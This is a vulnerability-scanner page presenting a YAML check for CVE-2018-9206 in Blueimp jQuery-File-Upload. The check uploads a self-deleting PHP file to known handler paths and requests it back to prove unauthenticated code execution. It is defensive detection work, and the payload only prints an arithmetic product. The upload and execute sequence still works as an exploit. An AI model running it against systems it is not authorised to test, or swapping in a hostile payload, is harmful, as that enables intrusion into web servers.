jQuery-File-Upload — 1 vulnerability check
noctis ships 1 vulnerability check for jQuery-File-Upload, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Blueimp jQuery-File-Upload Unauthenticated Arbitrary File Upload RCE
| CVE | CVE-2018-9206 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/jquery-file-upload/CVE-2018-9206.yaml |
Blueimp jQuery-File-Upload before 9.24.1 lets unauthenticated users upload arbitrary files, including PHP scripts, through its bundled PHP handler; on Apache >= 2.3.9 the protecting .htaccess is ignored and the uploaded script executes (CVE-2018-9206). This check uploads a benign, self-deleting PHP file that prints a random arithmetic product to well-known handler URLs, then requests it back. The computed product in the reply confirms unauthenticated code execution. A stored-but-not-executed file is removed via the handler's DELETE.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{jfu_handler}}with a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{jfu_up.path}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
DELETE {{jfu_up.del}} - HTTP(S) request
POST {{jfu_up.del_post}} - Checks
get_resp.bodyforNOCTIS[0-9]+→ finding QoD 97: jQuery-File-Upload handler … accepted an unauthenticated upload of … and executed it: GET … returned the computed product … (…*…) — unauthe…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-9206
- https://github.com/blueimp/jQuery-File-Upload/blob/master/VULNERABILITIES.md
- https://github.com/Stahlz/JQShell
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-9206.yaml
Feed source — tests/vulnerabilities/jquery-file-upload/CVE-2018-9206.yaml
# CVE-2018-9206 — Blueimp jQuery-File-Upload < 9.24.1 unauthenticated PHP upload → RCE.
# Active detection ported from OpenVAS/Greenbone NASL
# 2018/jquery/gb_jquery_file_upload.nasl (GPL-2.0-only), with the Nuclei template
# http/cves/2018/CVE-2018-9206.yaml for the extra handler paths.
#
# Before 9.24.1 the bundled PHP handler (server/php/index.php → UploadHandler.php)
# accepts any file type by default (`accept_file_types => '/.+$/i'`) and stores it
# under server/php/files/. The only thing stopping a .php file from running there
# was the shipped .htaccess, which Apache >= 2.3.9 ignores by default
# (AllowOverride None) — so an unauthenticated upload of a .php file executes.
# 9.24.1 restricts the default to images (gif/jpe?g/png) and rejects the upload.
#
# Detection (BENIGN — project rule: prove exploitation, never destroy):
# 1. POST a multipart `files[]` upload of noctis_<rand>.php to each well-known
# handler URL. The file body is
# <?php echo "NOCTIS".(A*B); unlink(__FILE__); ?>
# with random per-run operands — instead of the NASL's `system(id)`, no OS
# command runs. The script deletes itself on its first execution.
# 2. Read the stored file's URL from the handler's JSON reply ("url":"…"), as the
# NASL does, and GET it.
# 3. Report (QoD 97) only if the body carries NOCTIS<A*B>: the product never
# appears literally in the upload, so a server that stores the file but serves
# it as source (PHP disabled in files/) cannot match — only PHP execution of
# the uploaded file produces it.
# 4. Cleanup: the feed always sends the handler's own DELETE (deleteUrl from the
# JSON reply), with the POST `_method=DELETE` fallback when the verb is refused,
# so a file stored but not executed (unlink() never ran) is not left behind.
# Only a jQuery-File-Upload reply shape ({"files":[…]}) is followed, so another
# upload endpoint at a generic path is not attributed to this CVE.
#
# Beyond the NASL:
# - No GET pre-check gating each handler (the NASL first requires a 200 on a
# companion URL such as upload.class.php, which does not exist in most
# releases ≥ 9.x — a false-negative source); the POST is sent directly.
# - Extra handler paths: the lowercase /jquery-file-upload/ install (Nuclei) and
# the copy vendored by the Metronic admin theme
# (/assets/global/plugins/jquery-file-upload/), the most exploited deployment
# in the wild (the JQShell PoC targets it).
# - Proof by arithmetic in PHP + self-delete instead of `id`; cleanup of a stored
# but non-executed file (the NASL leaves it on the target).
uid: bd4eec03-1fce-496f-a37e-363164180e22
name: "Blueimp jQuery-File-Upload Unauthenticated Arbitrary File Upload RCE (CVE-2018-9206)"
description: |
Blueimp jQuery-File-Upload before 9.24.1 lets unauthenticated users upload
arbitrary files, including PHP scripts, through its bundled PHP handler; on
Apache >= 2.3.9 the protecting .htaccess is ignored and the uploaded script
executes (CVE-2018-9206). This check uploads a benign, self-deleting PHP file
that prints a random arithmetic product to well-known handler URLs, then
requests it back. The computed product in the reply confirms unauthenticated
code execution. A stored-but-not-executed file is removed via the handler's
DELETE.
cves: [CVE-2018-9206]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags:
- jquery-file-upload
- blueimp
- file-upload
- php
- rce
- intrusive
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-9206"
- "https://github.com/blueimp/jQuery-File-Upload/blob/master/VULNERABILITIES.md"
- "https://github.com/Stahlz/JQShell"
- "OpenVAS/Greenbone NASL 2018/jquery/gb_jquery_file_upload.nasl (GPL-2.0-only)"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-9206.yaml"
steps:
# ── Per-run operands and file name ────────────────────────────────────────
- id: gen
action: script
code: |
let a = rand_int(1013, 9973);
let b = rand_int(1013, 9973);
#{ a: a, b: b, marker: "NOCTIS" + (a * b) }
store_as: jfu
# ── Every step from here on runs once per handler URL (loop group) ────────
# Pre-initialise the stored results: a failed request leaves store_as unset and
# the parse script would then abort the whole test.
- id: init-upload-resp
action: set_var
var_name: up_resp
var_value: {status: 0, body: null}
loop:
over:
- "/server/php/index.php"
- "/example/upload.php"
- "/php/index.php"
- "/jQuery-File-Upload/server/php/index.php"
- "/jQuery-File-Upload/example/upload.php"
- "/jQuery-File-Upload/php/index.php"
- "/jquery-file-upload/server/php/index.php"
- "/assets/global/plugins/jquery-file-upload/server/php/index.php"
var: jfu_handler
- id: init-fetch-resp
action: set_var
var_name: get_resp
var_value: {status: 0, body: null}
- id: init-delete-resp
action: set_var
var_name: del_resp
var_value: {status: 0, body: null}
# A fresh file name per handler: two loop entries reaching the same install
# (case-insensitive filesystem) never collide into a renamed "noctis_x (1).php".
- id: gen-file
action: script
code: |
"noctis_" + rand_hex(8) + ".php"
store_as: jfu_file
# ── 1. Unauthenticated upload of the benign self-deleting PHP file ────────
- id: upload
action: http_request
method: POST
port: "{{port}}"
path: "{{jfu_handler}}"
headers:
Content-Type: "multipart/form-data; boundary=------------------------noctisJFU9206"
body: "--------------------------noctisJFU9206\r\nContent-Disposition: form-data; name=\"files[]\"; filename=\"{{jfu_file}}\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo \"NOCTIS\".({{jfu.a}}*{{jfu.b}}); unlink(__FILE__); ?>\r\n--------------------------noctisJFU9206--\r\n"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: up_resp
# ── 2. Extract the stored file's path (and its delete URL) from the JSON ──
# Only a jQuery-File-Upload reply shape counts ({"files":[{…,"url":…}]}), so
# another upload endpoint at a generic path (/php/index.php) is not attributed
# to this CVE. The handler returns absolute, slash-escaped URLs
# ("http:\/\/host\/…"); keep only the path so the request goes to the scanned
# host:port. A relative URL (custom upload_url) is resolved against the
# handler's directory.
- id: parse-upload
action: script
code: |
let path = "";
let del = "";
let dir = ereg_replace("[^/]*$", "", jfu_handler);
if up_resp.status == 200 && type_of(up_resp.body) == "string" {
let body = str_replace(up_resp.body, "\\/", "/");
if ereg("\"files\"\\s*:\\s*\\[", body) {
let m = eregmatch("\"url\"\\s*:\\s*\"([^\"]+)\"", body);
if m.len() >= 2 {
path = ereg_replace("^([A-Za-z][A-Za-z0-9+.-]*:)?//[^/]+", "", m[1]);
if path != "" && !path.starts_with("/") && !path.contains(":") { path = dir + path; }
}
let d = eregmatch("\"deleteUrl\"\\s*:\\s*\"([^\"]+)\"", body);
if d.len() >= 2 {
del = ereg_replace("^([A-Za-z][A-Za-z0-9+.-]*:)?//[^/]+", "", d[1]);
if del != "" && !del.starts_with("/") && !del.contains(":") { del = dir + del; }
}
}
}
if !path.starts_with("/") { path = ""; }
if !del.starts_with("/") { del = ""; }
let sep = if del.contains("?") { "&" } else { "?" };
#{ path: path, del: del, del_post: del + sep + "_method=DELETE" }
store_as: jfu_up
# ── 3. Request the uploaded file back ─────────────────────────────────────
- id: fetch
action: http_request
method: GET
port: "{{port}}"
path: "{{jfu_up.path}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'jfu_up.path != ""'
store_as: get_resp
- id: verify
action: script
code: |
get_resp.status == 200 && type_of(get_resp.body) == "string" && stridx(get_resp.body, jfu.marker) >= 0
store_as: jfu_exec
# ── 4. Cleanup: always ask the handler to delete the stored file ──────────
# Covers a file that was stored but not executed (unlink never ran) and one whose
# unlink failed; deleting an already-gone file just returns {"<name>":false}.
- id: cleanup
action: http_request
method: DELETE
port: "{{port}}"
path: "{{jfu_up.del}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'jfu_up.del != ""'
store_as: del_resp
# DELETE verb refused (IIS verb filtering, proxies → 405/403): the handler also
# accepts POST <deleteUrl>&_method=DELETE.
- id: cleanup-post
action: http_request
method: POST
port: "{{port}}"
path: "{{jfu_up.del_post}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'jfu_up.del != "" && del_resp.status != 200'
# ── Report: uploaded PHP executed (QoD 97) ────────────────────────────────
- id: report
action: match
source: get_resp.body
pattern: "NOCTIS[0-9]+"
condition: "jfu_exec"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "jQuery-File-Upload handler {{jfu_handler}} accepted an unauthenticated upload of {{jfu_file}} and executed it: GET {{jfu_up.path}} returned the computed product {{jfu.marker}} ({{jfu.a}}*{{jfu.b}}) — unauthenticated PHP code execution (CVE-2018-9206). The probe file deleted itself on execution."
stop: true